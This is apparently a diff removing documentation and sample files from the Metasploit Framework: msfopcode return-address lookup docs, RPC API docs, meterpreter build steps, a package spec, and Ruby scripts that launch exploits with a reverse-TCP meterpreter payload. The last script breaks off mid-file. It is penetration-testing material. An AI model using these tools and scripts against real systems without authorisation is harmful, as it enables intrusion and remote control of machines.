categorization of opcodes based on the action they perform, such as
|
||||
jumping to a register, performing a pop/pop/ret, and so on. The meta
|
||||
type helps categorize different specific types of opcodes.
|
||||
|
||||
$ ./msfopcode metatypes
|
||||
pop/pop/ret
|
||||
jmp reg
|
||||
call reg
|
||||
jmp [reg + offset]
|
||||
call [reg + offset]
|
||||
popad/ret
|
||||
popaw/ret
|
||||
push reg/ret
|
||||
|
||||
The groups command lists the opcode groups currently supported by the
|
||||
database. The distinction between and opcode group and an opcode meta
|
||||
type is that an opcode group associates opcodes based on the specific
|
||||
action they perform, such as transitioning the instruction pointer to
|
||||
the current value of a specific register, like esp.
|
||||
|
||||
$ ./msfopcode groups
|
||||
eax => eip
|
||||
ebx => eip
|
||||
ecx => eip
|
||||
edx => eip
|
||||
edi => eip
|
||||
esi => eip
|
||||
ebp => eip
|
||||
esp => eip
|
||||
[esp + 8] => eip
|
||||
[reg + offset] => eip
|
||||
[esp + 0x10] => eip
|
||||
[esp + 0x20] => eip
|
||||
[reg] => eip
|
||||
|
||||
The types command lists all of the various specific opcode types
|
||||
supported by the database. An opcode type is an instance of a specific
|
||||
opcode or opcodes that form one logical instruction block, such as a
|
||||
jmp esp. Opcode types are grouped together through the use of opcode
|
||||
groups and meta types. A sampling of the output is shown below:
|
||||
|
||||
$ ./msfopcode types
|
||||
jmp esp
|
||||
call esp
|
||||
push esp, ret
|
||||
jmp ebp
|
||||
call ebp
|
||||
push ebp, ret
|
||||
jmp eax
|
||||
...
|
||||
|
||||
The platforms command lists the currently supported operating system
|
||||
versions broken down by major version and service pack. At this point,
|
||||
the database supports Windows NT SP3 through Windows 2003 Server SP1.
|
||||
The database does not take into account hot fixes. Optionally,
|
||||
platforms can be filtered by specifying the -p option with an argument
|
||||
that includes a text portion of the operating system name or version
|
||||
to filter. For instance, specifying -p 2000 will return only Windows
|
||||
2000 versions.
|
||||
|
||||
$ ./msfopcode platforms
|
||||
Windows NT 4.0.3.0 SP3 (IA32)
|
||||
Windows NT 4.0.4.0 SP4 (IA32)
|
||||
Windows NT 4.0.5.0 SP5 (IA32)
|
||||
Windows NT 4.0.6.0 SP6 (IA32)
|
||||
Windows 2000 5.0.0.0 SP0 (IA32)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32)
|
||||
Windows 2000 5.0.3.0 SP3 (IA32)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32)
|
||||
Windows XP 5.1.0.0 SP0 (IA32)
|
||||
Windows XP 5.1.1.0 SP1 (IA32)
|
||||
Windows XP 5.1.2.0 SP2 (IA32)
|
||||
Windows 2003 Server 5.2.0.0 SP0 (IA32)
|
||||
Windows 2003 Server 5.2.1.0 SP1 (IA32)
|
||||
|
||||
One of the major features of the opcode database is that it indexes
|
||||
detailed information about modules. For instance, the opcode database
|
||||
currently contains information about imports, exports, segments, and
|
||||
specific module attributes for every imported module in the database.
|
||||
This makes it possible to cross reference different modules and do all
|
||||
sorts of fun things. To extract information about modules, the modules
|
||||
command can be used. The usage for this command is shown below:
|
||||
|
||||
$ ./msfopcode modules -h
|
||||
|
||||
Usage: msfopcode modules
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-E Include module export information
|
||||
-I Include module import information
|
||||
-S Include module segment information
|
||||
-d Display detailed output
|
||||
-h Help banner
|
||||
-l A comma separated list of locales to filter (Ex: English)
|
||||
-m A comma separated list of module names to filter (Ex: kernel32.dll,use
|
||||
r32.dll)
|
||||
-p A comma separated list of operating system names to filter (Ex: 2000,X
|
||||
P)
|
||||
-x Dump the raw XML response
|
||||
|
||||
The explanation in the usage for each option is fairly self
|
||||
explanatory, but the basic idea is that it's possible to search the
|
||||
database for modules with the ability to filter based on file name,
|
||||
locale, and operating system version. For the results that are
|
||||
returned, information about the module imports, exports, segments, and
|
||||
detailed information can be displayed. For example, to see all of the
|
||||
versions of kernel32.dll currently indexed in the database, the
|
||||
following command would be run:
|
||||
|
||||
$ ./msfopcode modules -m kernel32.dll
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
Name Base Address Size Version Timestamp
|
||||
Locale
|
||||
---- ------------ ---- ------- ---------
|
||||
------
|
||||
kernel32.dll 0x77e70000 790528 5.0.2191.1 Tue Dec 14 17:20:09 CST 1999 French
|
||||
kernel32.dll 0x77e40000 1056768 5.2.3790.1830031 Thu Mar 24 20:30:42 CST 2005 English
|
||||
kernel32.dll 0x77e40000 999424 5.2.3790.3 Tue Mar 25 03:42:44 CST 2003 English
|
||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Fri Apr 25 15:33:31 CDT 1997 English
|
||||
kernel32.dll 0x77ef0000 421888 4.0.0.0 Mon Mar 29 18:10:58 CST 1999 English
|
||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Sun Feb 28 17:49:07 CST 1999 English
|
||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Tue Jul 20 18:19:59 CDT 1999 English
|
||||
kernel32.dll 0x77e80000 745472 5.0.2191.1 Wed Dec 01 01:37:24 CST 1999 English
|
||||
kernel32.dll 0x77e80000 741376 5.0.2195.1600 Fri Jun 09 21:03:14 CDT 2000 English
|
||||
kernel32.dll 0x77e80000 741376 5.0.2195.2778 Fri May 04 17:34:08 CDT 2001 English
|
||||
kernel32.dll 0x77e80000 745472 5.0.2195.5400 Tue Jul 23 03:13:13 CDT 2002 English
|
||||
kernel32.dll 0x7c4e0000 757760 5.0.2195.6688 Thu Jun 19 22:43:40 CDT 2003 English
|
||||
kernel32.dll 0x77e60000 937984 5.1.2600.0 Sat Aug 18 01:33:02 CDT 2001 English
|
||||
kernel32.dll 0x77e60000 942080 5.1.2600.11061 Thu Aug 29 06:40:40 CDT 2002 English
|
||||
kernel32.dll 0x7c800000 999424 5.1.2600.21802 Wed Aug 04 03:56:36 CDT 2004 English
|
||||
|
||||
If only the versions of kernel32.dll on Windows XP running on the
|
||||
English locale were of concern, the results could be limited by
|
||||
specifying more limiting parameters:
|
||||
$ ./msfopcode modules -m kernel32.dll -p XP -l English
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
Name Base Address Size Version Timestamp
|
||||
Locale
|
||||
---- ------------ ---- ------- ---------
|
||||
------
|
||||
kernel32.dll 0x77e60000 937984 5.1.2600.0 Sat Aug 18 01:33:02 CDT 2001 English
|
||||
kernel32.dll 0x77e60000 942080 5.1.2600.11061 Thu Aug 29 06:40:40 CDT 2002 English
|
||||
kernel32.dll 0x7c800000 999424 5.1.2600.21802 Wed Aug 04 03:56:36 CDT 2004 English
|
||||
|
||||
To display detailed information about modules that match, the -d
|
||||
parameter can be specified:
|
||||
|
||||
$ ./msfopcode modules -m kernel32.dll -p XP -l English -d
|
||||
.-============================================
|
||||
|
||||
Name : kernel32.dll
|
||||
Base Address: 0x77e60000
|
||||
Size : 937984
|
||||
Version : 5.1.2600.0
|
||||
Timestamp : Sat Aug 18 01:33:02 CDT 2001
|
||||
Locale : English
|
||||
Platforms :
|
||||
|
||||
Windows XP 5.1.0.0 SP0 (IA32)
|
||||
|
||||
.-============================================
|
||||
|
||||
Name : kernel32.dll
|
||||
Base Address: 0x77e60000
|
||||
Size : 942080
|
||||
Version : 5.1.2600.11061
|
||||
Timestamp : Thu Aug 29 06:40:40 CDT 2002
|
||||
Locale : English
|
||||
Platforms :
|
||||
|
||||
Windows XP 5.1.1.0 SP1 (IA32)
|
||||
|
||||
.-============================================
|
||||
|
||||
Name : kernel32.dll
|
||||
Base Address: 0x7c800000
|
||||
Size : 999424
|
||||
Version : 5.1.2600.21802
|
||||
Timestamp : Wed Aug 04 03:56:36 CDT 2004
|
||||
Locale : English
|
||||
Platforms :
|
||||
|
||||
Windows XP 5.1.2.0 SP2 (IA32)
|
||||
|
||||
The real purpose behind the opcode database, however, is the ability
|
||||
to search for specific opcodes across different operating system
|
||||
versions with the ability to cross reference results in order to
|
||||
determine return address portability. For that reason, the msfopcode
|
||||
script provides the search command:
|
||||
$ ./msfopcode search -h
|
||||
|
||||
Usage: msfopcode search
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-M A comma separated list of opcode meta types to filter (Ex: jmp reg)
|
||||
-P Results must span more than one operating system version
|
||||
-a A comma separated list of addresses to filter (Ex: 0x41424344)
|
||||
-g A comma separated list of opcode groups to filter (Ex: esp => eip)
|
||||
-h Help banner
|
||||
-l A comma separated list of locales to filter (Ex: English)
|
||||
-m A comma separated list of module names to filter (Ex: kernel32.dll,user32.dll)
|
||||
-p A comma separated list of operating system names to filter (Ex: 2000,XP)
|
||||
-t A semi-colon separated list of opcode types to filter (Ex: jmp esp,call esp)
|
||||
-x Dump the raw XML response
|
||||
|
||||
Like the modules command, the search command provides a way of
|
||||
limiting the results that come back as a result of the search. In this
|
||||
case, opcode results can be limited based on meta type, group, type,
|
||||
operating system, module, locale, and even address. This makes it
|
||||
possible to get fairly granular results in an intuitive manner.
|
||||
Furthermore, the server can be instructed to only return results that
|
||||
are portable in the event that the -P option is specified, although
|
||||
there are currently some issues with this option being accurate.
|
||||
|
||||
To search for all occurrences of a ecx => eip opcode group in
|
||||
ws2help.dll on Windows 2000 and XP, the following command could be
|
||||
issued:
|
||||
|
||||
$ ./msfopcode search -p 2000,XP -m ws2help.dll -g "ecx => eip"
|
||||
|
||||
Opcodes
|
||||
=======
|
||||
|
||||
Address Type OS
|
||||
------- ---- --
|
||||
0x74fa3112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
||||
0x71aa1224 push ecx, ret Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
||||
0x71aa396d call ecx Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
||||
0x71aa3de3 call ecx Windows XP 5.1.2.0 SP2 (IA32) (ws2help.dll)
|
||||
0x71aa163b push ecx, ret Windows XP 5.1.2.0 SP2 (IA32) (ws2help.dll)
|
||||
0x75023112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.3.0 SP3 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
||||
|
||||
To limit the results to portable ones only, the -P option can be
|
||||
tagged on producing output like that shown below:
|
||||
|
||||
$ ./msfopcode search -p 2000,XP -m ws2help.dll -g "ecx => eip" -P
|
||||
|
||||
Opcodes
|
||||
=======
|
||||
|
||||
Address Type OS
|
||||
------- ---- --
|
||||
0x74fa3112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
||||
0x71aa1224 push ecx, ret Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
||||
0x71aa396d call ecx Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
||||
0x75023112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.3.0 SP3 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
||||
|
||||
For custom development purposes, the script can also be told to dump
|
||||
results in raw XML format such that extensions can be written to the
|
||||
interface in the future by third parties. This can be accomplished by
|
||||
specifying the -x parameter.
|
||||
|
||||
More information online at: http://metasploit.com/framework/
|
|
@ -1,166 +0,0 @@
|
|||
[ INTRODUCTION ]
|
||||
|
||||
The msfrpcd daemon uses the xmlrpc plugin to provide a remote
|
||||
interface to the Metasploit Framework. By default, this service
|
||||
listens on port 55553, uses SSL, and is password protected.
|
||||
|
||||
The RPC interface allows access to a minimal set of framework
|
||||
APIs, covering the core framework, the module set, the job list,
|
||||
and the session table. These APIs can be used to enumerate
|
||||
modules, execute them, and interact with the resulting sessions
|
||||
and jobs.
|
||||
|
||||
|
||||
[ USAGE ]
|
||||
|
||||
To activate the RPC interface, launch msfrpcd, or load msfconsole
|
||||
and load the xmlrpc plugin.
|
||||
|
||||
$ ./msfrpcd -P s3cr3tp4ss
|
||||
- or -
|
||||
msf> load xmlrpc Pass=s3cr3tp4ss
|
||||
|
||||
Once the interface is started, any compatible RPC interface can be used
|
||||
to interact with the service. The 'msfrpc' client provides a Ruby
|
||||
shell that can be used to talk to the service.
|
||||
|
||||
$ ./msfrpc -h server_name -P s3cr3tp4ss
|
||||
[*] The 'rpc' object holds the RPC client interface
|
||||
|
||||
>> rpc.call("core.version")
|
||||
=> {"version"=>"3.3-dev"}
|
||||
|
||||
|
||||
[ API - AUTH ]
|
||||
|
||||
Method: auth.login
|
||||
Expects: username, password
|
||||
Returns: { "result" => "success", "token" => "<token>" }
|
||||
Summary: This method is used by rpc.login() to obtain the session key
|
||||
(token) which is sent in subsequent requests. This token uniquely
|
||||
identifies a particular client and can be used by multiple clients,
|
||||
even after the originating TCP session is closed. The RPC client
|
||||
object automatically sends this token with all other method calls.
|
||||
Inactive tokens are destroyed after five minutes of non-use.
|
||||
|
||||
|
||||
[ API - CORE ]
|
||||
|
||||
Method: core.version
|
||||
Expects: none
|
||||
Returns: { "version" => "<framework-version>" }
|
||||
|
||||
|
||||
[ API - MODULE ]
|
||||
|
||||
Method: module.exploits
|
||||
Method: module.auxiliary
|
||||
Method: module.payloads
|
||||
Method. module.encoders
|
||||
Method: module.nops
|
||||
Expects: none
|
||||
Returns: { "modules" => [ "module1", "module2", ... ] }
|
||||
Summary: This method is used to obtain a list of available modules
|
||||
of the specified type. The resulting module names can be used in
|
||||
other calls within the module service.
|
||||
|
||||
Method: module.info
|
||||
Expects: module_type, module_name
|
||||
Returns: { "name" => "<name>", ... }
|
||||
Summary: This method returns all shared module fields (name, authors,
|
||||
version, description, etc), but also the list of targets and actions
|
||||
when appropriate.
|
||||
|
||||
Method: module.options
|
||||
Expects: module_type, module_name
|
||||
Returns: { "<option_name>" => { "type" => "integer", ... } }
|
||||
Summary: This method returns a list of all options for a given module,
|
||||
including advanced and evasion options. The returned hash contains
|
||||
detailed information about each option, including its type, its
|
||||
default value, whether it is required, and so on.
|
||||
|
||||
Method: module.compatible_payloads
|
||||
Expects: module_name
|
||||
Returns: { "payloads" => [ "payload1", "payload2", ... ] }
|
||||
Summary: This method only works for exploit modules and returns a
|
||||
list of payloads that are compatible with the specified exploit.
|
||||
|
||||
Method: module.execute
|
||||
Expects: module_type, module_name, options_hash
|
||||
Returns: { "result" => "success" }
|
||||
Summary: This method only works for exploit and auxiliary modules
|
||||
and uses the simplified framework API to launch these modules
|
||||
with the specified options. Option values should be placed into
|
||||
the options_hash argument, including items such as PAYLOAD,
|
||||
TARGET, ACTION, and all required options.
|
||||
|
||||
|
||||
|
||||
[ API - JOB ]
|
||||
|
||||
Method: job.list
|
||||
Expects: none
|
||||
Returns: { "<job_id>" => "<job_name>" }
|
||||
Summary: This method returns a list of running jobs, along with
|
||||
the name of the job.
|
||||
|
||||
Method: job.stop
|
||||
Expects: job_id
|
||||
Returns: { "result" => "success" }
|
||||
Summary: This method kills a specific job by ID
|
||||
|
||||
|
||||
|
||||
[ API - SESSION ]
|
||||
|
||||
Method: session.list
|
||||
Expects: none
|
||||
Returns: { "<session_id>" => { "type" => "shell", ... } }
|
||||
Summary: This method returns a list of active sessions, including
|
||||
the fields type, tunnel_local, tunnel_peer, via_exploit,
|
||||
via_payload, and desc.
|
||||
|
||||
Method: session.stop
|
||||
Expects: session_id
|
||||
Returns: { "result" => "success" }
|
||||
Summary: This method kills a specific session by ID
|
||||
|
||||
Method: session.shell_read
|
||||
Expects: session_id
|
||||
Returns: { "data" => "<shell_data>" }
|
||||
Summary: This method reads any pending output from a session. This
|
||||
method only works for sessions of type "shell" and does not block.
|
||||
|
||||
Method: session.shell_write
|
||||
Expects: session_id, shell_data
|
||||
Returns: { "write_count" => "<number_of_bytes_written>" }
|
||||
Summary: This method writes the specified input into the session.
|
||||
This method only works for sessions of type "shell" and does not
|
||||
block.
|
||||
|
||||
|
||||
[ EXCEPTIONS ]
|
||||
|
||||
When an error occurs, an exception is thrown on the client side. This
|
||||
exception will be of class XMLRPC::FaultException and the faultCode
|
||||
and faultString methods of this exception will contain detailed
|
||||
information about the problem. Many API calls will raise faultCode
|
||||
of 404 when the specified item is not found. An unhandled, server
|
||||
exception will result in a faultCode of 500 on the client side.
|
||||
|
||||
|
||||
|
||||
[ SECURITY CONSIDERATIONS ]
|
||||
|
||||
At this time, the SSL certificate used by the service is
|
||||
dynamically allocated, making it vulnerable to a man-in-the-middle
|
||||
attack. Future versions will address this by allowing a certificate
|
||||
to be generated and verified.
|
||||
|
||||
The current implementation passes the username and password for the
|
||||
RPC service as parameters on the command line. This can lead to
|
||||
disclosure of the password to other local users on some Unix systems.
|
||||
The msfrpc and msfrpcd applications change the displayed arguments
|
||||
as soon as they are launched, but there is still a brief window of
|
||||
time where another local user may snoop the msfrpcd password. In the
|
||||
future, the password will be specified via TTY or file.
|
|
@ -1,77 +0,0 @@
|
|||
Steps needed to build the POSIX meterpreter from scratch
|
||||
--------------------------------------------------------
|
||||
|
||||
1) Build bionic libc
|
||||
|
||||
you will need "jam" package for compiling.
|
||||
|
||||
# cd external/source/meterpreter/source/bionic/libc
|
||||
# ARCH=x86 TOP=${PWD} jam
|
||||
... lots of output ...
|
||||
# cd out/x86/
|
||||
# sh make.sh
|
||||
.. makes dynamic library ...
|
||||
|
||||
you now have a libbionic.so, copy to source/bionic/compiled/libc.so
|
||||
|
||||
2) Build bionic libm
|
||||
|
||||
# cd external/source/meterpreter/source/bionic/libm
|
||||
# make -f msfMakefile
|
||||
... lots of output ...
|
||||
|
||||
you now have a libm.so, copy to source/bionic/compiled/
|
||||
|
||||
3) Build bionic libdl
|
||||
|
||||
# cd external/source/meterpreter/source/bionic/libdl
|
||||
# make
|
||||
|
||||
copy libdl.so to source/bionic/compiled
|
||||
|
||||
4) Build openssl
|
||||
|
||||
download openssl 0.9.8o
|
||||
|
||||
Edit the Configure file. Locate "linux-elf line, duplicate it, s/-elf/-msf/, s/-ldl//, on the duplicate.
|
||||
|
||||
# ./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
|
||||
...
|
||||
# LIBC=/path/to/bionic/libc
|
||||
# LIBM=/path/to/bionic/libm
|
||||
# COMPILED=/path/to/bionic/compiled
|
||||
# make CC="gcc -I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${LIBM}/include -L${COMPILED} -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend clean all
|
||||
... lots of compiling ...
|
||||
# cp libssl.so ${COMPILED}
|
||||
# cp libcrypto.so ${COMPILED}
|
||||
|
||||
5) Compile the common/support library code
|
||||
|
||||
# cd external/source/meterpreter/workspace/common
|
||||
# make
|
||||
|
||||
.. copy libsupport.so to source/bionic/compiled ..
|
||||
|
||||
6) Build the metsrv_main binary
|
||||
|
||||
# cd external/source/meterpreter/workspace/metsrv
|
||||
# make
|
||||
|
||||
You will need to generate a linker script, and set the location to 0x00040000. -Wl,-verbose >log , edit log for == ==
|
||||
|
||||
.. copy metsrv_main to source/bionic/compiled directory
|
||||
|
||||
7) Build the rtld binary (last step)
|
||||
|
||||
# cd external/source/meterpreter/source/server/rtld
|
||||
# make test
|
||||
|
||||
(make test will make msflinker, which you can use to test the meterpreter)
|
||||
|
||||
8) Compile the ext_server_stdapi
|
||||
|
||||
# external/source/meterpreter/workspace/extensions/stdapi
|
||||
# make
|
||||
|
||||
copy ext_server_stdapi.so to data/meterpreter/ext_server_stdai.lso <-- notice the .lso
|
||||
|
|
@ -1,87 +0,0 @@
|
|||
%define name metasploit
|
||||
%define version 3.2
|
||||
%define release 1
|
||||
%define prefix /opt
|
||||
%define __spec_install_post :
|
||||
|
||||
|
||||
BuildArch: noarch
|
||||
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
|
||||
Group: Applications/System
|
||||
License: BSD
|
||||
Name: %{name}
|
||||
Packager: Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
Release: %{release}
|
||||
Requires: ruby
|
||||
Source: %{name}-%{version}.tar.gz
|
||||
Summary: The Metasploit Framework
|
||||
URL: http://www.metasploit.com/framework/
|
||||
Version: %{version}
|
||||
|
||||
|
||||
%description
|
||||
The Metasploit Framework is a development platform for creating security tools
|
||||
and exploits. The framework is used by network security professionals to
|
||||
perform penetration tests, system administrators to verify patch
|
||||
installations, product vendors to perform regression testing, and security
|
||||
researchers world-wide. The framework is written in the Ruby programming
|
||||
language and includes components written in C and assembler.
|
||||
|
||||
|
||||
%prep
|
||||
%setup -q
|
||||
|
||||
|
||||
%install
|
||||
rm -rf %{buildroot}
|
||||
cd ../
|
||||
mkdir -p %{buildroot}%{prefix}
|
||||
cp -r %{name}-%{version} %{buildroot}%{prefix}
|
||||
|
||||
|
||||
%clean
|
||||
rm -rf %{buildroot}
|
||||
|
||||
|
||||
%post
|
||||
ln -s %{prefix}/%{name}-%{version}/msfcli /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfconsole /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfd /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfelfscan /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfencode /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfgui /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfmachscan /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfopcode /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfpayload /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfpescan /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfweb /usr/local/bin
|
||||
|
||||
|
||||
%postun
|
||||
rm -f %{prefix}/%{name}-%{version}/msfcli
|
||||
rm -f %{prefix}/%{name}-%{version}/msfconsole
|
||||
rm -f %{prefix}/%{name}-%{version}/msfd
|
||||
rm -f %{prefix}/%{name}-%{version}/msfelfscan
|
||||
rm -f %{prefix}/%{name}-%{version}/msfencode
|
||||
rm -f %{prefix}/%{name}-%{version}/msfgui
|
||||
rm -f %{prefix}/%{name}-%{version}/msfmachscan
|
||||
rm -f %{prefix}/%{name}-%{version}/msfopcode
|
||||
rm -f %{prefix}/%{name}-%{version}/msfpayload
|
||||
rm -f %{prefix}/%{name}-%{version}/msfpescan
|
||||
rm -f %{prefix}/%{name}-%{version}/msfweb
|
||||
|
||||
|
||||
|
||||
%files
|
||||
%defattr(-,root,root)
|
||||
%{prefix}/%{name}-%{version}
|
||||
|
||||
|
||||
%changelog
|
||||
* Sun Nov 19 2008 Ramon de Carvalho Valle <ramon@risesecurity.org> - 3.2-1
|
||||
- Changed name to metasploit
|
||||
- Added post and postun scripts
|
||||
|
||||
* Sun Nov 9 2008 Ramon de Carvalho Valle <ramon@risesecurity.org> - 3.2-1
|
||||
- Initial version
|
||||
|
|
@ -1,34 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates how a module's information can be easily serialized
|
||||
# to a readable format.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
if (ARGV.empty?)
|
||||
puts "Usage: #{File.basename(__FILE__)} module_name"
|
||||
exit
|
||||
end
|
||||
|
||||
modname = ARGV.shift
|
||||
framework = Msf::Simple::Framework.create
|
||||
|
||||
begin
|
||||
# Create the module instance.
|
||||
mod = framework.modules.create(modname)
|
||||
if not mod
|
||||
puts "Error: The specified Msf::Module, \"#{modname}\", was not found."
|
||||
else
|
||||
# Dump the module's information in readable text format.
|
||||
puts Msf::Serializer::ReadableText.dump_module(mod)
|
||||
end
|
||||
rescue
|
||||
puts "Error: #{$!}\n\n#{$@.join("\n")}"
|
||||
end
|
|
@ -1,30 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates how a file can be encoded using a framework
|
||||
# encoder.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
if (ARGV.empty?)
|
||||
puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format"
|
||||
exit
|
||||
end
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
|
||||
begin
|
||||
# Create the encoder instance.
|
||||
mod = framework.encoders.create(ARGV.shift)
|
||||
|
||||
puts(Msf::Simple::Buffer.transform(
|
||||
mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby'))
|
||||
rescue
|
||||
puts "Error: #{$!}\n\n#{$@.join("\n")}"
|
||||
end
|
|
@ -1,20 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates enumerating all of the modules in the framework and
|
||||
# displays their module type and reference name.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
|
||||
# Enumerate each module in the framework.
|
||||
framework.modules.each_module { |name, mod|
|
||||
puts "#{mod.type}: #{name}"
|
||||
}
|
|
@ -1,52 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates using the framework core directly to launch an
|
||||
# exploit. It makes use of the simplified exploit wrapper method provided by
|
||||
# the Msf::Simple::Exploit mixin.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
if (ARGV.length == 0)
|
||||
puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
|
||||
exit
|
||||
end
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
exploit_name = ARGV.shift || 'test/multi/aggressive'
|
||||
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
|
||||
input = Rex::Ui::Text::Input::Stdio.new
|
||||
output = Rex::Ui::Text::Output::Stdio.new
|
||||
|
||||
begin
|
||||
# Initialize the exploit instance
|
||||
exploit = framework.exploits.create(exploit_name)
|
||||
|
||||
# Fire it off.
|
||||
session = exploit.exploit_simple(
|
||||
'Payload' => payload_name,
|
||||
'OptionStr' => ARGV.join(' '),
|
||||
'LocalInput' => input,
|
||||
'LocalOutput' => output)
|
||||
|
||||
# If a session came back, try to interact with it.
|
||||
if (session)
|
||||
output.print_status("Session #{session.sid} created, interacting...")
|
||||
output.print_line
|
||||
|
||||
session.init_ui(input, output)
|
||||
|
||||
session.interact
|
||||
else
|
||||
output.print_line("Exploit completed, no session was created.")
|
||||
end
|
||||
|
||||
rescue
|
||||
output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
|
@ -1,68 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates using the framework core directly to launch an
|
||||
# exploit. It uses the framework base Framework class so that the
|
||||
# distribution module path is automatically set, but relies strictly on
|
||||
# framework core classes for everything else.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
if (ARGV.length == 0)
|
||||
puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
|
||||
exit
|
||||
end
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
exploit_name = ARGV.shift || 'test/multi/aggressive'
|
||||
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
|
||||
input = Rex::Ui::Text::Input::Stdio.new
|
||||
output = Rex::Ui::Text::Output::Stdio.new
|
||||
|
||||
begin
|
||||
# Create the exploit driver instance.
|
||||
driver = Msf::ExploitDriver.new(framework)
|
||||
|
||||
# Initialize the exploit driver's exploit and payload instance
|
||||
driver.exploit = framework.exploits.create(exploit_name)
|
||||
driver.payload = framework.payloads.create(payload_name)
|
||||
|
||||
